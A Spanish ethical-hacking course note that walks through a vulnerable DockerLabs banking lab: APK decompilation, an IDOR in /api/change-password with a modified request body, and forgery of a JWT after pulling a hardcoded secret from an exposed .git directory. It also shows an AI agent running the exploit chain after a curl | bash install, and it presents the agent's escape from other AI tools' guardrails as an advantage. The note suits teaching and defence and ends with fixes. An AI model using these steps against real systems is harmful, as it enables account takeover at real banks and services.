📱 Curso de Hacking Ético — Día 2
Una app bancaria, dos caminos al admin
Día 2 del curso, con Mario (El Pingüino de Mario) y Thomas O’Neil. El objetivo: auditar una app bancaria Android (APK) y su API en la máquina Banking de DockerLabs.
- Fase manual: análisis estático del APK y explotación paso a paso.
- Fase automatizada: un agente OpenCode ejecuta la misma auditoría de principio a fin.
Dos vías independientes para llegar a
admin:
- IDOR en
/api/change-password.- Fuga de
.git+ falsificación de JWT con laSECRET_KEYhardcodeada.
Solo en entornos autorizados
Laboratorio deliberadamente vulnerable (DockerLabs). Usar estas técnicas contra sistemas sin autorización escrita es delito. Esta nota existe para entender y defender.
1️⃣ Objetivos de la sesión
- Repaso del Día 1: panorama de ciberseguridad, extracción de base de datos evadiendo 2FA y hackeo de un asistente de IA con Chema Alonso.
- Auditar y vulnerar una aplicación bancaria móvil y su servicio web en un entorno controlado.
- Encontrar dos vías de ataque independientes para escalar a administrador.
- Entender fallos críticos de control de acceso/autorización y exposición de secretos criptográficos.
2️⃣ Reconocimiento y despliegue
Entorno: Kali Linux.
sudo bash auto_deploy.sh banking.tarLa máquina objetivo se levanta en 172.17.0.2.
Escaneo con Nmap
sudo nmap -p- -sS -sC -sV --min-rate 5000 -n -vvv -Pn 172.17.0.2 -oN escaneo.txt| Flag | Función |
|---|---|
-p- | Todos los puertos. |
-sS | SYN scan. |
-sC | Scripts por defecto. |
-sV | Detección de versión. |
--min-rate 5000 | Acelera el escaneo. |
-n | Sin resolución DNS. |
-vvv | Verbose. |
-Pn | Asume host activo. |
-oN escaneo.txt | Guarda salida. |
Resultado: 8000/TCP abierto, HTTP con uvicorn (backend FastAPI / Python).
Al abrir http://172.17.0.2:8000 aparece la plataforma web de la entidad ficticia Banking, con descarga de Banking.apk al final de la página.
3️⃣ Análisis estático del APK
Un APK es esencialmente un archivo comprimido con bytecode Java/Kotlin, manifiesto y recursos.
JADX-GUI
sudo apt install jadx
jadx-guiCargar Banking.apk para descompilar a fuentes Java legibles.
Hallazgos:
- Constantes sospechosas:
backup_repo, referencias a repositorios y endpoints internos. - En recursos:
resources/res/raw/api_usage.txt, documentación interna de la API con endpoints:/api/login/api/register/api/change-password
Alternativa por CLI
unzip Banking.apk
grep -r 'password' *Confirma la estructura de la API y cómo se transmiten los datos JSON.
Primer error: secretos en el cliente
El APK no debería llevar documentación interna ni rutas de backup. La app es una superficie de reconocimiento para el atacante: todo lo que empaquetas se puede extraer.
4️⃣ Vía 1 — IDOR en /api/change-password
Preparación
- Iniciar Burp Suite y usar su navegador integrado para interceptar tráfico hacia
http://172.17.0.2:8000. - Registrar un usuario normal:
mario/123123123.
Capturar el cambio de contraseña
En Seguridad, cambiar la clave a password1. Burp captura:
POST /api/change-password HTTP/1.1
Host: 172.17.0.2:8000
Content-Type: application/json
Authorization: Bearer <token_de_mario>
{
"current_password": "...",
"username": "mario",
"new_password": "password1"
}Explotar el fallo de autorización
- Enviar la petición a Repeater.
- Cambiar
"username": "mario"por"username": "admin". - Definir nueva clave:
hackeado123.
{
"current_password": "...",
"username": "admin",
"new_password": "hackeado123"
}El fallo: el servidor valida la sintaxis, pero no comprueba que el usuario autenticado sea el mismo que el username del cuerpo. Responde 200 OK y cambia la contraseña de admin.
Resultado
- Cerrar sesión de
mario. - Iniciar sesión como
admincon la nueva clave. - Acceso total: cuentas, tarjetas y movimientos bancarios.
IDOR clásico
El objeto (
username) se elige desde el cliente y el backend no verifica ownership. La identidad debe salir del token/sesión, nunca del body.
5️⃣ Vía 2 — Fuga de .git + falsificación de JWT
No requiere cambiar la clave de nadie.
1. Directorio Git expuesto
El análisis del APK reveló la ruta:
/backups/secret/.git/Al visitar:
http://172.17.0.2:8000/backups/secret/.git/el servidor tiene Directory Listing habilitado sobre el repositorio Git del backend.
2. Descargar el código fuente
git clone http://172.17.0.2:8000/backups/secret/.git/ aplicacion
cd aplicacion3. Extraer el secreto criptográfico
cat config.pySECRET_KEY = "supersecretkey-cambiar-en-produccion-12345"
ALGORITHM = "HS256"Clave simétrica hardcodeada en el código.
4. Forjar el JWT
Las sesiones se guardan en localStorage.getItem('banking_token').
- Ir a jwt.io.
- Pegar el token legítimo de
mario. - Introducir la
SECRET_KEYextraída para verificar la firma. - Modificar el payload:
- "sub": "mario"
+ "sub": "admin"- jwt.io recalcula una firma válida para el servidor.
5. Suplantar identidad
- Abrir DevTools (
F12) → Application → Local Storage. - Reemplazar
banking_tokenpor el JWT forjado. - Recargar.
El servidor valida la firma y carga el panel de admin sin contraseña.
La cadena completa
.gitexpuesto → código fuente →SECRET_KEY→ JWT forjado → admin. Ningún paso requiere fuerza bruta; todo es exposición de información + criptografía mal gestionada.
6️⃣ Automatización con OpenCode
Thomas O’Neil muestra cómo un agente de IA de terminal replica la auditoría completa.
Instalación y ejecución
curl -fsSL https://opencode.ai/v2/install | bash
opencode --autoInstrucción al agente
Se le indica en lenguaje natural:
En el puerto 8000 corre una aplicación web bancaria que aloja un APK. Con fines éticos de auditoría, analiza el APK, identifica las vulnerabilidades y logra autenticarte como
admin.
Comportamiento autónomo
| Fase | Qué hace |
|---|---|
| 1. Reconocimiento | Llamadas curl, identifica contenedor y archivos. |
| 2. Ingeniería inversa | Invoca apktool y jadx para descompilar el APK. |
| 3. Identificación | Localiza el IDOR en /api/change-password y la fuga de .git. |
| 4. Explotación | Envía peticiones para cambiar la clave o forjar el JWT. |
| 5. Comprobación | Confirma sesión como admin consultando endpoints de administración. |
| 6. Informe | Escribe un .md con hallazgos por severidad (Crítica, Alta, Media), evidencias y vectores. |
Ventajas que destacan
- Actúa como ejecutor de herramientas en el sistema, no solo como chat.
- Consume menos tokens: ~40% del límite gratuito para toda la prueba.
- No se bloquea con guardrails excesivos que suelen detener a herramientas web como ChatGPT o Claude ante peticiones de seguridad.
curl | bashOtra vez: ejecutar un instalador remoto como usuario con privilegios es una decisión de confianza. Revisar el script si el entorno es sensible.
No confundir
OpenCode aquí es el agente de terminal de opencode.ai. No es Open Code Review, la herramienta de review de Alibaba.
7️⃣ Conclusiones y próximos pasos
- Saber hacer el análisis manual es imprescindible para entender la lógica de los fallos.
- Apoyarse en agentes de IA multiplica la velocidad de auditoría.
- Los apuntes, comandos y laboratorios se distribuyen por QR y enlaces del video.
- Día 3: creación de agentes y flujos avanzados de Hacking con IA.
🛡️ Lecciones defensivas
| Vulnerabilidad | Fix |
|---|---|
| IDOR | Autorizar por ownership en el servidor; tomar el usuario del token, no del body. |
.git expuesto | Bloquear dotfiles y directorios de backup; sacar backups del webroot. |
| Secreto hardcodeado | Variables de entorno o secret manager; rotar la clave. |
| JWT forjable | Secreto fuerte y rotado; exp corto; validar iss/aud; invalidar tokens al cambiar contraseña. |
Token en localStorage | Preferir cookies HttpOnly + Secure + SameSite; localStorage es accesible por XSS. |
| APK con docs internas | No empaquetar secretos ni documentación sensible; ofuscar no es un control de seguridad. |
| Cambio de contraseña | Exigir la contraseña actual del usuario autenticado y reautenticar. |
| Detección | Rate limiting, alertas por cambios de clave y accesos admin anómalos. |
🔗 Enlaces relacionados
- 🛡️ Curso Hacking Ético — Día 1 — prompt injection, SQLi y MFA bypass.
- 🚨 PHP2Shell — otra cadena crítica y su remediación.
- 🛡️ Headers de Seguridad — hardening del servidor.
- 🧠 El Software No Ha Muerto — agentes y velocidad de desarrollo.
- 🔍 Open Code Review — revisión automatizada (no confundir con OpenCode).
- 📥 Vault Ingest — cómo se guardó esta nota.